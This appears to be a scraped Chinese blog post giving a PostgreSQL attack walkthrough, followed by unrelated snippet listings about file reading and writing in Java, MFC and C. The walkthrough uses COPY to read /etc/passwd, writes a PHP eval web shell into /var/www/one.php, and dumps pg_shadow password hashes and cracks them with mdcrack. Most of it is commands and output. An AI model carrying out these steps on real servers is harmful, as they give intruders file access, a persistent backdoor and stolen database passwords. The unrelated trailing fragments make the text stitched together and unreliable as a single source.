1.通過copy讀檔案
mickey@pentest:~/pentest/crack/mdcrack$ psql -h 127.0.0.1 -u postgres
使用者 postgres 密碼:
psql (8.4.2)
ssl connection (cipher: dhe-rsa-aes256-sha, bits: 256)
type 「help」 for help.
postgres=# create table file(line text);
create table
postgres=# copy file from 」/etc/passwd」 with delimiter 」:」;
error: extra data after last expected column
背景: copy file, line 1: 「root:x:0:0:root:/root:/bin/bash」
失敗,是由於delimiter的問題,如果要讀的檔案包含有你指定的delimiter,則會失敗,
postgres=# create table file (line text);
create table
postgres=# copy file from 」/etc/passwd」 with delimiter e」 」;
copy 47
postgres=# select * from file;
這次就成功了,用pg_read_file(),在實際滲透中不太現實,因為他限制目錄訪問了。
2.寫一句話到web目錄
postgres=# create table file(line text);
create table
postgres=# insert into file values (e」<?php eval($_post[mickey]; ?>」);
insert 0 1
postgres=# copy file(line) to 」/var/www/one.php」;
copy 1
3.破解資料庫賬戶
postgres=# select usename, passwd from pg_shadow;
usename | passwd
———-+————————————-
postgres | md518d0d1643114d8b58e27c77600a1c658
(1 row)
加密演算法為md5(password+username),以這個為例,密碼為mickey,使用者名為postgres,合併後為mickeypostgres,再經過md5加密後,就為18d0d1643114d8b58e27c77600a1c658
可以使用mdcrack來破解
mickey@pentest:~/pentest/crack/mdcrack$ wine mdcrack-sse.exe –algorithm=md5 –append=postgres 18d0d1643114d8b58e27c77600a1c658
檔案讀寫和IO Test
public class test1 從鍵盤接收乙個資料夾路徑 1,返回值型別file 2,引數列表無 public static file getdir else if dir.isfile else 統計該資料夾大小 1,返回值型別long 2,引數列表file dir public stati...
檔案讀寫和登錄檔讀寫
檔案讀寫和登錄檔讀寫 新增如下選單專案 響應 一 檔案讀寫 void cfileview onfilewrite void cfileview onfileread 二 登錄檔讀寫 按鈕響應 void cfileview onregwrite void cfileview onregread 三 初...
開啟關閉檔案和讀寫檔案
一 開啟和關閉檔案 int open char filename,int flags,mode t mode 開啟檔案 open函式將filename轉換為乙個檔案描述符 flags引數也可以是乙個或者更多位掩蓋的 mode引數指定了新檔案的訪問許可權位 int close int fd 關閉檔案 ...